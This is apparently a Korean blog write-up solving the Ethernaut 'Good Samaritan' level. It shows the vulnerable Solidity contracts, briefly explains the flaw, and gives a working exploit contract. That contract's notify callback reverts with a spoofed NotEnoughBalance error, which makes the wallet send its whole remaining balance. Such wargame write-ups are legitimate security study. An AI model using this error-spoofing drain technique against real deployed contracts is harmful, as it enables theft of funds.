Instance
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
인터페이스를 이용하여 푸는 문제이다.
Coin 컨트랙트의 transfer함수에서 dest_가 컨트랙트인 경우 INotifyable인터페이스의 notify 함수를 amount_를 인자로 주며 호출하는 것을 이용하여, 배포하는 컨트랙트에 notify()함수를 넣고 이로 익스플로잇을 하였다.
이때 GoodSamaritan 컨트랙트의 requestDonation() 함수에서 wallet.transferRemainder()가 실행되어야 하므로, 배포 컨트랙트의 notify()함수에 amount==10이라는 조건을 넣어야 한다.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}
contract exp_samaritan {
address samaritan_addr=0xF8CA65560bd12486b1a05bfA2a9B3cb424689AA9;
error NotEnoughBalance();
function attack() public {
IGoodSamaritan(samaritan_addr).requestDonation();
}
function notify(uint256 amount) external{
if (amount==10){
revert NotEnoughBalance();
}
}
}
'Web3 > Ethernaut' 카테고리의 다른 글
[Ethernaut] Higher Order 풀이 (0) | 2025.01.18 |
---|---|
[Ethernaut] Switch 풀이 (0) | 2025.01.18 |
[Ethernaut] Denial 풀이 (0) | 2025.01.18 |
[Ethernaut] Magic Number 풀이 (0) | 2025.01.18 |
[Ethernaut] GateKeeper Two 풀이 (0) | 2025.01.18 |
댓글